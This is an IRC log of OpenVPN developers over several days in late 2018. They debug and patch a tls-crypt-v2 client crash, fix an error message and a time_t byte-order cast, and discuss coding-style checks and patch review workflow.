quit [Quit: Leaving.] 12:00 < tincantech> first error: 12:00 < tincantech> Tue Oct 30 16:58:44 2018 us=949959 Assertion failed at tls_crypt.c:113 (ctx->cipher) 12:00 < tincantech> Tue Oct 30 16:58:44 2018 us=949973 Exiting due to fatal error 12:00 < tincantech> then the process restarted and work fine 12:01 < tincantech> using --tls-crypt-v2 12:05 <@ordex> tincantech: full log ? 12:06 <@ordex> interesting though syzzer ^^ 12:06 < tincantech> yes, i'm looking at it but there is nothing else of value, justa standard verb 4 log 12:06 <@ordex> yeah, but it would be interesting to understand when it happens I think 12:06 <@ordex> like: what were the message printed before 12:06 < tincantech> i'll try to recreate the problem but FYI this is what i was doing at the time 12:07 < tincantech> the server was still in tls-crypt v1 mode 12:07 < tincantech> the client was trying to connect using tls-crypt-v2 12:08 < tincantech> the client had failed a couple of times to connect 12:08 <@dazo> the server can use tls-crypt v1 and tls-crypt-v2 in parallel 12:08 <@dazo> but if it was not configured to do tls-crypt-v2, only v1, then it will fail 12:08 < tincantech> then i restarted the server with tls-crypt-v2 12:08 < tincantech> that is when the client fell down .. 12:08 < tincantech> i don't know why it restarted .. maybe systemd 12:09 <@ordex> tincantech: so is it the client that hit the assert ? 12:09 <@ordex> after attempting several reconnects? 12:09 < tincantech> yes 12:11 < tincantech> the client was initiating a new connection eg: UDP link remote: [AF_INET]n.n.n.n:nnnn 12:11 < tincantech> those two messages were next 12:11 <@dazo> hmmm 12:11 <@dazo> that smells like a bug 12:12 < tincantech> i'll try to see if i can recreate the error 12:13 <@dazo> thx! 12:16 < tincantech> yep .. exactly the same error twice :) 12:17 < tincantech> so a client trying to connect to a tls-crypt v1 only serber fails to connect, then change the server to v2 and restart the server and then the first time the client tries to connect we hit the assert and fatal error 12:22 < tincantech> and a third time .. exactly the same (it was systemctl restarting the client so I took that out of the way not the client just dies) 12:22 <@ordex> i guess the problem is in the client restarting the connection 12:22 < tincantech> now* the client just dies 12:22 <@ordex> the cipher context is probably not reinitialized. syzzer ^^ :] 12:22 <@ordex> don't hide! :D 12:30 < tincantech> ordex: you know about iOS right ;) https://forums.openvpn.net/viewtopic.php?f=36&t=27192 12:30 <@vpnHelper> Title: Verify compression in Log File - OpenVPN Support Forum (at forums.openvpn.net) 12:32 < tincantech> also, i think this https://github.com/OpenVPN/openvpn/commit/9d59029a088b26b8dd50dc2523f87e2b38e4ab53 12:32 <@vpnHelper> Title: tls-crypt-v2: generate tls-crypt-v2 keys · OpenVPN/openvpn@9d59029 · GitHub (at github.com) 12:32 < tincantech> needs some more info eg 12:33 < tincantech> "openvpn *--tls-crypt-v2 serv-v2.key* --tls-crypt-v2-genkey cli01-v2.key" 12:34 < tincantech> also, there is n incorrect error message: Options error: *--tls-crypt-v2-gen-client-key* requires a server key to be set via --tls-crypt-v2 12:35 < tincantech> there is no --tls-crypt-v2-gen-client-key .. is there ? 12:35 < tincantech> at least i did noyt use it .. 12:36 < tincantech> i mean this for first comment: "openvpn *--tls-crypt-v2 serv-v2.key* --tls-crypt-v2-genkey client cli01-v2.key" 12:39 <@dazo> it should be --tls-crypt-v2-genkey client $CLIENT_KEY_FILENAME .... which will require --tls-crypt-v2 $SERVER_KEY to be set 12:39 < tincantech> dazo: yep :) 12:39 <@dazo> the "client" part is a "mode" operator which can be "client" or "server" 12:40 < tincantech> yes but the error message is wrong, eg: --tls-crypt-v2-gen-client-key foo 12:40 <@dazo> ahhh 12:40 <@dazo> oh, yes 12:40 <@dazo> src/openvpn/init.c: msg(M_USAGE, "--tls-crypt-v2-gen-client-key requires a server key to be set via --tls-crypt-v2"); 12:40 <@dazo> good catch! 12:41 < kitsune1> yeah, the \-\-tls\-crypt\-v2\-genkey client|server keyfile [metadata] description requires a comment that when option client is used it also requires --tls-crypt-v2 server-key. 12:43 < kitsune1> Apart from the typo that extra info in usage is not in the manpage.. 12:43 < tincantech> just curius: is it possible to extrract the server tls-crypt-v2 key from the client tls-crypt-v2 key file ? 12:43 <@dazo> nope 12:43 <@plaisthos> that is the whole point of tls-crypt-v2 :) 12:44 <@dazo> iirc, the reason for the server key requirement is to "sign" the client key 12:44 < kitsune1> Else anyone can generate a valid client key .. 12:44 <@dazo> yeah 12:44 < kitsune1> I mean anyone with one client key.. 12:44 < tincantech> ok .. is there a name for how the key is protected ? 12:45 <@dazo> HMAC, I presume 12:45 <@plaisthos> cryptographically one way generation function from master key 12:45 <@plaisthos> on a high level 12:45 <@dazo> it should be in the tls-crypt-v2 docs 12:45 <@dazo> doc/tls-crypt-v2.txt 12:45 < tincantech> ah .. no, i have just misunderstood the client key generation .. i forgot about the signing part 12:46 <@plaisthos> yeah is done using HMAC-SHA256 12:46 <@plaisthos> also wrapped/encrypted via AES-256-CTR 12:55 < tincantech> ordex: you know about iOS right ;) https://forums.openvpn.net/viewtopic.php?f=36&t=27192 .. do you have any idea ? 12:55 <@vpnHelper> Title: Verify compression in Log File - OpenVPN Support Forum (at forums.openvpn.net) 12:56 <@ordex> tincantech: I should check the code. that might be the ratio between packets in and out the tunnel 12:56 <@ordex> will check later bye! 12:56 < tincantech> thanks :) 16:50 <@syzzer> tincantech: good catch on both the restart bug (not again...) and the remnant of the old-style key generation function 16:51 <@syzzer> in one of the earlier patch versions it was called like that, and I of course forgot to change the comment when we changed the option name... 16:51 <@syzzer> ordex: I'll look into the bug tomorrow 16:52 <@syzzer> tincantech: feel free to send a patch to fix the comment. otherwise I'll do that (and kitsune1's) suggestion tomorrow. 17:19 < tincantech> syzzer: all yours ;) 17:20 < tincantech> or maybe not ! 17:22 <@ordex> syzzer: cool! 17:24 < tincantech> this has to go :) grep '\-\-tls\-crypt\-v2\-gen\-client\-key' * 18:16 < tincantech> syzzer: would it be accurate to say: the client cannot "unwrap" its own TLS crypt V2 key ? 23:49 <@vpnHelper> RSS Update - tickets: #1137: OpenVPN Connect Not Working after IOS Update <https://community.openvpn.net/openvpn/ticket/1137> --- Day changed Wed Oct 31 2018 02:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:52 <@cron2> mornin 02:52 * cron2 has a meeting topic for today: coding style and review cycles 02:57 <@cron2> mattock1: meeting today? ;-) 03:16 <@syzzer> tincantech: that would be accurate, yes 03:17 <@syzzer> that's the reason wy a client key file contains both the plaintext key and the wrapped key 03:18 <@cron2> wtf 03:18 <@cron2> whatever MUA/MTA tincantech uses, his patch is so massacred that I can't get it in 03:18 <@cron2> lines wrapped, extra lines added 03:21 <@cron2> plus double subject 03:25 <@vpnHelper> RSS Update - gitrepo: Correct error message for --tls-crypt-v2-genkey client <https://github.com/OpenVPN/openvpn/commit/658a8ee453a236e48ecc4bf19a81d8d7717955ff> 05:18 <@syzzer> tincantech: you around? I'm trying to reproduce the bug you found, but didn't manage yet with the steps you supplied yesterday. Could you maybe post your test configs and explicit reproduction steps? 05:21 <@syzzer> what I did now: (1) start a non-tls-crypt-v2 server, try to connect with a tls-crypt-v2 client (which fails), stop the server, start a new one with tls-crypt-v2 enabled, wait for the client to reconnect 05:21 <@syzzer> if I do that, the client connects just fine (both with and without --presist-key) 05:24 <@cron2> seems we won't have a meeting today (which is fine, because I have no time anyway) 05:24 <@cron2> what I want to toss around -> ordex, plaisthos, dazo 05:25 <@cron2> if someone could find time to explain (+ provide ready-to-use scripts) how to have a local git pre-commit-check that verifies our coding style ("you are using tabs again!") 05:25 <@cron2> this would significantly reduce delays due to "so here's v5 of that patch ... two months later, review: oh, your coding style is not right" 05:25 <@cron2> I need such a pre-commit-check to stop my fingers from falling into old habits, plaisthos very much needs such a pre-commit check... 05:27 <@ordex> cron2: we first need to come up with a programmatic way to check the style. as far as I remember uncrustify right now is not 100% matching what we use 05:28 <@syzzer> ordex: we could just start with low-hanging fruit 05:28 <@syzzer> like "git diff --check" 05:28 <@dazo> doesn't the kernel repo have some tools which does that on the patch files? 05:29 <@ordex> yes checkpatch.pl - it is a perl script that has all the checks hardcoded 05:29 <@ordex> not good for our case I think 05:29 <@dazo> not as-is ... but would it be much work to patch it for us? 05:30 <@ordex> you know perl ? 05:30 <@dazo> ........ 05:30 <@ordex> :D 05:31 <@dazo> I did some Perl stuff over a decade ago ..... I still haunts me :-P 05:31 <@ordex> bssically it is like a collection of grammar rules / regex written in perl that encode all the codestyle 05:31 <@ordex> I'd rather stick to uncrustify 05:31 <@ordex> like: run uncristify (possibly without changing the file) and let it tell us if something is off and abort the commit 05:31 <@dazo> the challenge with that is that we need to get a config which does not modify anything in particular we don't want to change in the current repo 05:32 <@ordex> right 05:32 <@ordex> we can remove those "dangerous" flags maybe, but at least it would check for major things 05:32 <@dazo> and then we can tell people to run uncrustify before sending the patch ... and if we do the same and it does not comply, we complain 05:32 <@ordex> but git diff --check is also a first good solution 05:33 <@dazo> yeah, but ... missing curly braces (me looks at plaisthos) ... wrong parentheses/brackets, wrong spacing .... 05:33 <@ordex> yap 05:34 <@ordex> maybe we can run uncrustify on a patch rather than a source file ? 05:34 <@dazo> not sure it groks that ... but I haven't tried though 05:35 <@ordex> the manpage doesn't say anything 05:37 <@dazo> nope, that doesn't fly .... it made the patch a complete mess 05:39 <@dazo> eeek .... 05:39 <@dazo> $ wc -l scripts/checkpatch.pl 05:39 <@dazo> 6547 scripts/checkpatch.pl 05:42 <@cron2> ordex: we could use a relaxed uncrustify config that permits (= does not change) some things 05:42 <@dazo> Yeah, I'm leaning towards that as well 05:43 <@cron2> so if we have an uncrustify config which is "about what we want" and does not change our existing code base... so we could start with what we have and remove options that cause changes today 05:43 <@dazo> once we've settled on the relaxed config ... we might still need to run a complete run on our own repo before making use of it ... so it is possible to really run it on local changes and only fix that 05:44 <@cron2> yep 05:58 <@syzzer> sounds like a plan. Too bad uncrustify doesn't have a 'check mode'. Would be awesome to just get a report of changes that it would make and exit with non-zero if it wants to make changes. 06:05 <@dazo> sounds like nice task for a wrapper script :-P copy modified file (based on git diff --stats or similar), run uncrustify on that copied file, diff original and uncrustified file ... if not identical, complain :-P 06:24 <@cron2> this is what I was thinking of... not enough clue with git to understand all possible variants that "stuff to commit" could end up $there, and how to list files to-be-committed (we want the check on .c and .h, not on .am, for example :) ) 06:34 < tincantech> sorry about my email being buggered up .. it looks perfect in my mail but I'll do it right next time 06:34 < tincantech> syzzer: i can open a trac for the crash and document it there 06:35 <@dazo> tincantech: congrats! thx for the patch! 06:36 < tincantech> :) 06:36 <@dazo> and yes, MUA are a pain ... you're not the first being caught by that one, and won't be the last one either 06:36 < tincantech> i wonder if syzzer already fixed the crash in his tree .. ? 06:36 <@syzzer> tincantech: no, I was testing with git master 06:37 < tincantech> ok then i'll do a trac :) 06:39 <@syzzer> great, thanks 06:42 < tincantech> just a quick scan of my server&cli conf shows nothing particularly funky 06:45 < tincantech> WOW .. just tested again and the behaviour is different but the result is the same ! 06:45 < tincantech> This time i did: 06:46 < tincantech> change the running server (with client connected) back to tls-crtpt V1 and systemctl restart the server 06:46 < tincantech> did not do anything to the client but waited 06:47 < tincantech> and the client crashed at the same point when it tried to reconnect 06:49 <@syzzer> tincantech: ah, yes, that I can reproduce! 06:50 < tincantech> cool ;) 06:52 <@ordex> yuppie 07:01 <@syzzer> tincantech, ordex: gah, looks like this is an unnoticed merge problem with the "tls-auth/crypt in connection blocks" patch 07:01 < tincantech> syzzer: i don't use connection blocks in my conf 07:01 <@ordex> ouch 07:01 <@ordex> yeah, but I guess the logic got through the way 07:02 <@ordex> hmm interesting, this totally fooled us 07:02 <@ordex> syzzer: can you "just" follow the logic applied for tls-crypt ? or is it more complicated? 07:03 <@syzzer> I think I can just follow the same logic 07:47 <@plaisthos> hm 07:48 <@plaisthos> Creating this bckwards compability and testing it for those non existing other management clients is annoying :/ 07:48 <@plaisthos> I am close to giving up and just erroring out instead 08:07 <@syzzer> tincantech: path to fix this on the list 08:08 <@syzzer> curious whether this fixes it for you too :) 08:11 <@plaisthos> Okay. I am not really in the mood to figure out how exactly EVP_PKEY interacts with the rsa_sign function 08:12 <@ordex> plaisthos: don't jump 08:13 <@ordex> :D 08:13 <@plaisthos> I will just declare if the client does not indicate tls13 support for management-external-key and we have openssl 1.1.1 that to be an error 08:13 <@plaisthos> I see not much sense in writing extra code that never will be used anyway :/ 08:18 <@ordex> yap 08:18 <@ordex> esoteric case can be left apart 08:18 <@ordex> it owuld make sense to write them only if the change would break existing setups badly 08:31 < tincantech> syzzer: basic smoke test (as described above) says the problem is resoved .. I can add a "tested by" to the ML :) 08:33 < tincantech> but .. something else has gone wrong :$ .. not sure what it is, could be me, testing now 08:34 < tincantech> nope, it was me 08:36 < tincantech> yes, all good, client conencts to V2 then change the server to V1 & restart, client fails to connect correctly, change server back to V2 & cl;ient connects good 08:38 <@syzzer> tincantech: awesome, thanks for the quick testing! 08:47 < tincantech> :) 09:04 < tincantech> aww .. damnit my patch for the correction to the error message did not get onto patchworks :( i guess the mangled email did not pass muster 09:05 <@plaisthos> but it got applied! :) 09:06 <@plaisthos> patchwork is that we don't loose track of patches 09:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:06 <@plaisthos> so for a quickly applied patch you don't need it 09:09 < tincantech> ok .. but i was going for the fame and glory ;) 09:10 <@dazo> tincantech: you'll have the fame and glory in the git history in our sf.net, github and gitlab repos ;-) 09:10 <@dazo> plus ... mail-archive.com 09:10 <@dazo> patchwork can't compete with that alone, can it? :-P 09:11 < tincantech> i think it must have been rejected by patchworks tho, I sent it last night so patchworks had time to pick it up .. and patchworks already picked up my "Tested-by:" mail .. so I presume the reason it did not pickup the correction patch was because the email failed to be recognised by PW 09:11 <@dazo> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg17862.html 09:11 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Correct error message for --tls-crypt-v2-genkey client (at www.mail-archive.com) 09:11 <@dazo> pw ignored it probably due to the malformed patch 09:12 < tincantech> i looked at that earlier and was surprised at how badly it was mangled 09:13 <@dazo> yeah, most graphical MUA's don't comprehend that patches should not be touched .... "oh this line is long than X chars, it must be line-wrapped!" 09:13 <@dazo> long*er 09:13 < tincantech> it seems a newline character was completely deleted be fore the" + (corrected line)" 09:14 < tincantech> i will get git setup correctly in future 09:14 <@dazo> git send-email generally works quite well without those issues 09:15 < tincantech> i recall that's what i used when i sent the doc/openvpn.8 "escape all dashes" patch 10:07 <@ordex> tincantech: your patch was picked-up https://patchwork.openvpn.net/patch/581/, but later it was set as applied so it disappeared from the list 10:07 <@ordex> you can still see it if you remove the filter 10:16 <@plaisthos> our htonll implementation is broken 10:16 <@plaisthos> /Users/arne/software/icsopenvpn/main/src/main/cpp/openvpn/src/openvpn/tls_crypt.c:745:29: warning: shift count >= width of type [-Wshift-count-overflow] 10:16 <@plaisthos> int64_t timestamp = htonll(now); 10:20 <@ordex> I am not sure the warning is 100% right 10:21 <@ordex> or you checked already? 10:21 <@ordex> what's the size of time_t ? 10:21 <@plaisthos> I am more going like replacing our macro with a more standard define 10:21 <@ordex> is there one ? 10:22 <@ordex> the only reason why it may produce that warning is because time_t is 32 bit 10:23 <@ordex> but then it's ok, it would just behave as htonl 10:23 <@ordex> more or less .. 10:23 <@plaisthos> my Android header say there is htobe64 in glibc (primarly Linux) and BSDs have be64toh and htobe64 but my FreeBSD and Linux actually define both variants 10:24 <@plaisthos> It is a __kernel_long_t which is a log 10:24 <@plaisthos> typedef long __kernel_long_t; 10:24 <@ordex> and windows? 10:25 <@ordex> the question is: what happens when you pass a 32bit variable to htobe64 / be64toh ? 10:25 <@ordex> because this is the problem our macro is hitting 10:25 <@plaisthos> you should get a int64 that is correctly byte swapped 10:26 <@ordex> ok 10:26 <@ordex> yeah just checking now, the 2 bytes with all zeros are just moved accordingly 10:26 <@ordex> (even if they do not exist at the beginning) 10:26 < kitsune1> the macro looks ok (htonll) but time_t could be 32 bit or 64 bit depending on the platform 10:26 <@ordex> right 10:26 <@ordex> to solve the warning we could just add a cast to the second part of the macro and everybody would be happy 10:27 <@ordex> plaisthos: what do you think? or is htobe64 "standard" enough also for windows and so on? 10:27 < kitsune1> So use htonll((unit64_t) now) 10:27 <@ordex> also true, but a cast inside the macro would just make it work everywhere (even though we have only one case for now :P) and we already have a cast in the mcro 10:28 <@ordex> (but that cast we already have is for another reason) 10:28 < kitsune1> Yes, that cast in there is a part of the logic.. The one you propose is meant for lazy coders :) 10:29 <@ordex> well :) 10:30 <@ordex> plaisthos: I can quickly compile test htobe64 on gitlab-ci 10:30 <@ordex> which includes windows 10:30 <@ordex> *some windows 10:30 <@plaisthos> ordex: hm windows does not seem to define htobe64 10:30 <@ordex> zac 10:30 <@plaisthos> and then APPLE invents OSSwapHostToBigInt64(x) 10:31 <@plaisthos> but you can define htobe64(x) _byteswap_uint64(x) on windows it seems :P 10:31 <@plaisthos> for mvcs 10:31 <@ordex> winennot 10:31 <@plaisthos> and then for clang and gcc: 10:31 <@plaisthos> define htobe64(x) __builtin_bswap64(x) 10:32 <@plaisthos> a lot of software seem to do this if gcc/clang use the one macro if msvc the other 10:32 <@plaisthos> don't care about the rest approach 10:33 <@ordex> why do we need that for clang/gcc ? isn't it already in libc ? 10:34 <@plaisthos> but time_t on Linux really seem to be long which on 32bit platforms is 32bit 10:35 <@ordex> yap 10:35 <@ordex> yes it is 10:35 <@ordex> and 64 when on 64bit plaforms 10:35 < kitsune1> Anyway passing now to a macro like that is not kosher as time_t need not be even an integer.. 10:35 <@plaisthos> FreeBSD changed it to be 64 everywhere 10:35 <@ordex> kitsune1: not an integer? :D wow 10:35 <@plaisthos> and that amazingly broke a lot of unepxted stuff 10:35 <@plaisthos> yeah you can have something like 10:35 <@plaisthos> struct time_t { 10:35 <@plaisthos> int seconds; 10:36 <@plaisthos> int nanoseconds; 10:36 <@plaisthos> } 10:36 <@ordex> ah ok 10:36 <@ordex> meh 10:36 <@plaisthos> https://stackoverflow.com/questions/2792551/what-primitive-data-type-is-time-t 10:36 <@vpnHelper> Title: c - What primitive data type is time_t? - Stack Overflow (at stackoverflow.com) 10:36 <@plaisthos> but at least in POSIX it is at least a float or integer ;) 10:37 <@ordex> anyway, do we want to add a cast to the macro? 10:37 <@ordex> or redefine it everywhere it is possible? 10:37 < kitsune1> Yeah, and the only non POSIX is windows on which its an int -- so for almost all practical purposes its an int.. 10:38 <@plaisthos> I seen this seconds and nanoseconds format somewhere 10:39 < kitsune1> struct time_t wont be valid C -- s-standard says its an arithmetic type -- so could be double, in principle. 10:39 <@ordex> double double 10:39 <@plaisthos> ah gettimeofday returns a struct like that 10:39 <@ordex> struct bunga_bunga { double double a }; 10:40 < kitsune1> That's struct timeval, isn't it? 10:40 <@plaisthos> yes 10:40 < kitsune1> Anyway a few casts appears to be useful though ugly.. 10:41 <@plaisthos> probably the result of nobody wanting to change time_t 10:41 <@plaisthos> :) 10:42 <@ordex> did we come to a conclusion for our macro? 10:45 <@plaisthos> none yet. I probably will be annoyed at some point and submit a fix 10:45 <@plaisthos> ordex: do you know what we use in openvpn3? 10:45 <@ordex> nothing 10:45 <@ordex> we don't have such case 10:45 < kitsune1> time_t now anyway needs a cast to uint64_t before put into network order -- and that's independnet of the macro. 10:45 <@ordex> "yet" 10:45 <@plaisthos> ordex: how do we implement the tls-crypt-v2 there? 10:46 <@ordex> plaisthos: this is only to generate the timestamp to put into the client key's metadata. on openvpn3 we don't generate keys 10:46 <@ordex> therefore we don't need this 10:46 <@plaisthos> ordex: ah so key generation is not implemented in openvpn3 10:46 <@ordex> correct 10:46 <@plaisthos> only the server and client part? 10:46 <@ordex> never was for either tls-auth or tls-crypt 10:46 <@ordex> right 10:46 <@plaisthos> :) 10:47 <@plaisthos> basically using openvpn2 as utility for that %) 10:47 <@ordex> probably because in AS we had openvpn2 so it was generating the keys 10:47 <@ordex> yes 10:47 <@ordex> :D 10:47 <@plaisthos> AS is openvpn2 only anyway 10:47 <@ordex> maybe we could implement that once we start shipping ovpn3 in AS 10:47 <@ordex> but, not in the roadmap for now 10:48 <@ordex> so we don't have htonll/ntohll in ovpn3 10:48 <@plaisthos> ordex: openvpn2 is still the default in AS even openvpn3 is included 10:48 <@ordex> ok 10:49 <@ordex> plaisthos: how about sending a patch with a simple cast for now? :) 10:49 <@ordex> < kitsune1> time_t now anyway needs a cast to uint64_t before put into network order -- and that's independnet of the macro. << why ? because it could be float? :P but not on the platforms we support, I think, no? 10:50 <@plaisthos> ordex: I am in the middle of reoding my tls 1.3 ext management patch 10:50 <@plaisthos> ordex: upcast it from long to silence the warning 10:50 <@ordex> hehe 10:50 <@ordex> do you want me to fix this htonll thing ? 10:51 <@ordex> or syzzer ! 10:51 <@ordex> :D 10:51 <@plaisthos> sure I can test directly test and ack it 10:51 <@ordex> :D 10:51 <@ordex> I like that 10:51 < kitsune1> Because we should not make assumptions about a type like time_t.. The purpose here is to get 64bits in a well-defined order. 10:51 < kitsune1> So htonll((uint64_t)now) 10:52 <@ordex> hmmm yeah makes sense 10:52 <@ordex> as time_t can really be anything 10:52 <@ordex> kitsune1: do you want to send a patch for it ? 10:52 < kitsune1> but arithmetic type so the cast is defined. 10:53 <@ordex> ^^ 10:53 < kitsune1> plaisthos: discovered it -- and I want my first patch to be something more memorable :) 10:53 < kitsune1> hehe 10:53 <@ordex> you can add a reported by 10:53 <@ordex> but if you like waiting .... well ok 10:53 <@ordex> :) 10:53 <@ordex> there will be "another" chance :D 10:54 < kitsune1> And I can continue to be vagabond in the mean time.. 10:55 <@ordex> hehe 11:30 <@cron2> tincantech: your patch got to patchwork, but it's no longer visible in the startpage when I have "accepted" it - look here: https://patchwork.openvpn.net/patch/581/ 11:30 <@vpnHelper> Title: [Openvpn-devel] Correct error message for --tls-crypt-v2-genkey client - Patchwork (at patchwork.openvpn.net) 11:33 <@cron2> ordex: clang/gcc might get used on non-linux platforms... 11:51 <@cron2> ordex: casting to (uint64_t) first, then assigning to an int64_t... 11:51 <@ordex> cron2: the cast to uint64_t is to make it neutral with respect to htonll() 11:52 <@ordex> the assignment to int64_t is .. "weird" per se 11:52 <@cron2> I can read code :-) - it still looks a bit strange, like "I cannot make my mind whether I want this signed or not" 11:52 <@ordex> but that's just how the time is represented I think 11:52 <@ordex> :D 11:52 <@ordex> hehe 11:53 <@vpnHelper> RSS Update - gitrepo: tls-crypt: properly cast time_t to uint64_t <https://github.com/OpenVPN/openvpn/commit/ddd925bf23bc1b43fda93d2757619a1613cec1ba> 11:54 <@plaisthos> when we reach signed vs unsigned 64 bit time_t we are all dead anyway :P 11:54 <@cron2> plaisthos: please use "acked-by: ..." syntax, otherwise patchwork won't see the ACK (and I can not be lazy and "just look for patches with A != 0) 11:54 <@cron2> https://patchwork.openvpn.net/patch/584/ 11:54 <@vpnHelper> Title: [Openvpn-devel] tls-crypt: properly cast time_t to uint64_t - Patchwork (at patchwork.openvpn.net) 11:54 <@plaisthos> cron2: argh dman forgot 11:54 <@cron2> :) 11:54 <@plaisthos> do you want me to resend? 11:54 < kitsune1> Wow! That was the fastest report->patch->ack->merge 11:54 <@cron2> we need a plaisthos-pre-send-mail check as well 11:54 <@plaisthos> :P 11:55 <@cron2> plaisthos: nah. I saw the ACK and the patch wasn't lingering, so all is good. 11:55 <@cron2> kitsune1: it wasn't that fast... 3 more patches in patchwork since that one was sent... 11:55 <@cron2> you guys have been really working hard today 11:57 <@plaisthos> argh send accidently an old patch version *grrr* 11:58 <@cron2> plus, you sent a v4 of the management-external-key patch with "git format-patch -v2" :-) 11:58 <@plaisthos> yeah just looked at the subjects 12:01 <@cron2> we should introduce highscores in patchwork for most heavily superseded patches... :-) 12:02 <@plaisthos> :P 12:03 <@syzzer> oh, wow, lots of backlog 12:03 <@syzzer> that cast should have been there, yes 12:04 <@syzzer> and it's int64_t, because time_t is a signed type of all of the commonly-used platforms I checked 12:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:28 <@cron2> plaisthos: patch 1/2 says 12:28 <@cron2> +#elif OPENSSL_VERSION_NUMBER >= 0x10100000L 12:28 <@cron2> + /* 12:28 <@cron2> + * The library we are *linked* against is OpenSSL 1.1.1 12:28 <@cron2> + * and therefore supports TLS 1.3. This needs to be checked at runtime 12:29 <@cron2> as a statement "(the library *is*)" this doesn't make sense here, as this is the compile-time check 12:29 <@cron2> and the compile-time check is only for 1.1.0 12:31 <@plaisthos> the comment is for the line below the comment 12:31 <@plaisthos> and yes it will fail if someone create 1.0.2 openssl version that is ABI compatible and has TLS 1.3 :P 12:34 <@plaisthos> cron2: the linked library is a runtime check (OpenSSL_version_num()) 12:37 <@cron2> plaisthos: this is not very clear from the structure... maybe reword as "we are compiled against at least 1.1.0 but might be linked against 1.1.1, so we need a run-time check here" 12:37 <@plaisthos> okay 12:38 <@plaisthos> It seem that be obvious thing that only 1.1.x openssl versions are ABI compatible isn't too obvious if you haven't spend too much time with OpenSSL d: 12:41 <@plaisthos> adding this as second paragraph? 12:41 <@plaisthos> * We only need need to this check for OpenSSL versions that can be 12:41 <@plaisthos> * upgraded to 1.1.1 without recompile (>= 1.1.0) 12:47 <@cron2> works for me 13:00 < kitsune1> hurray, we are getting runtime check for TLS 1.3 support. 13:30 <@cron2> patch has been on the list for a while, lacking review... 13:31 <@cron2> https://patchwork.openvpn.net/patch/585/ 13:31 <@vpnHelper> Title: [Openvpn-devel,v2,1/2] Make tls_version_max return the actual maximum version - Patchwork (at patchwork.openvpn.net) 13:31 <@cron2> (this was a re-send, but it hit the list first early october) 14:20 <@ordex> plaisthos: why did you send a v2 and then a v5 of 2/2 14:20 <@ordex> ? 14:21 <@ordex> ah the patch changelog clarified that 14:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:49 < tincantech> so patchworks did pickup my patch even though it was mangled! sort of cool .. maybe you could teach patchworks to reject such crap in future ;) 15:52 <@ordex> ;p 15:54 < tincantech> ordex: a wee poke in your ribs: https://forums.openvpn.net/viewtopic.php?f=36&t=27192#p82101 15:54 <@vpnHelper> Title: Verify compression in Log File - OpenVPN Support Forum (at forums.openvpn.net) 15:54 <@ordex> yeah 15:55 < tincantech> i am just curious .. no issue :) 16:16 < tincantech> ordex: thanks ;) 16:16 <@ordex> np! 16:17 < tincantech> looking forward to a reply :3 16:18 < tincantech> your avatar on the forum .. *grunt* ;-) 16:28 <@ordex> :D 16:30 < tincantech> ecrist (or somebody else) please check: https://forums.openvpn.net/viewtopic.php?f=10&t=27355 16:30 < tincantech> all the links seem to be legit .. 16:34 <@cron2> tincantech: this is somewhat on our agenda - reject patches that do not apply 16:39 < tincantech> i would probably agree to that ;) 16:50 < tincantech> kitsune1: you see syzzer 's comments |-] 17:38 <@dazo> tincantech: I've just pushed out a new build of Fedora Copr openvpn3-linux (+ git master branches) ... hint hint ;-) https://copr.fedorainfracloud.org/coprs/dsommers/openvpn3/ 17:38 <@vpnHelper> Title: dsommers/openvpn3 Copr (at copr.fedorainfracloud.org) 17:42 < tincantech> dazo: 17:42 < tincantech> don't sell it short ! 17:42 <@dazo> I need marketing help! ;-) 17:42 * dazo need to run to catch a train 17:44 < tincantech> at least simply list known-ish bugs at the end 17:48 < tincantech> in fact, include all known problems but do a good intro first ;) 18:01 < tincantech> dazo: Wochowski "sisters" 20:59 < kitsune1> tincantech: I did :) 21:01 < kitsune1> And heard abt your first patch -- congrats! --- Day changed Thu Nov 01 2018 01:46 <@ordex> hoi hoi 02:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:50 <@ordex> mattock1: cron2: syzzer: dazo: plaisthos: can we schedule a meeting next wednesday ? 05:07 <@cron2> this is totally unheard of 05:07 <@cron2> meetings, scheduled, on wednesday! 05:08 <@cron2> besides this: works for me ;-) 05:15 <@ordex> :D 05:15 <@ordex> mattock1: !!^^ 07:43 <@dazo> works for me as well, I believe :) 07:45 <@dazo> tincantech: since there is no official stable release, only development release based on git master .... you can extract that by looking at the RPM change log and git ;-) ... but basically http://termbin.com/5edc 07:47 <@ecrist> tincantech: I've approved that topic. 07:52 <@dazo> tincantech: we're working on a massive update, though ... which will come around the first beta release (hopefully in a week or two), which will run with even less privileges and will do DNS setup out-of-the-box 14:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:07 <@syzzer> meeting next Wed works for me too 15:19 <@ordex> oky 15:19 <@ordex> let's do it --- Day changed Fri Nov 02 2018 00:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:55 < tincantech> ordex: any idea on this one : https://forums.openvpn.net/viewtopic.php?f=36&t=27370&p=82177#p82177 08:55 <@vpnHelper> Title: Failing to create VPN on demand profile in iOS 12 with OpenVPN - OpenVPN Support Forum (at forums.openvpn.net) 08:55 < tincantech> cheers 09:13 < kitsune1> A user (uberwag) on openvpn channel reported extremely low bandwidth with Windows server 2016 client connecting to a pfsense (BSD?) server. Sounds like same issue as was discussed in the users list a few weeks ago. If its the tap driver, this doesn't bode well unless the driver can be fixed soon... 09:41 < tincantech> ordex: nevermind ;) 09:42 < tincantech> kitsune1: is it possibly more likely to be a windows 2016 setting ? very few reports of problems if it is the tap driver .. 09:49 < kitsune1> Win 2k16 server is not a common "user" platform. Yes, it may be possible to get around it by tweaking some settings but ideally things should work with stock settings that the OS comes with. I'm worried that newer updates to Windows 10 may bring some of these network stack changes to that platform affecting a wider audience. 09:54 < tincantech> maybe M$ trying to squish the competition .. 10:05 < kitsune1> Unfortunately in this case its more likely tap driver's fault -- it hasn't kept up to date 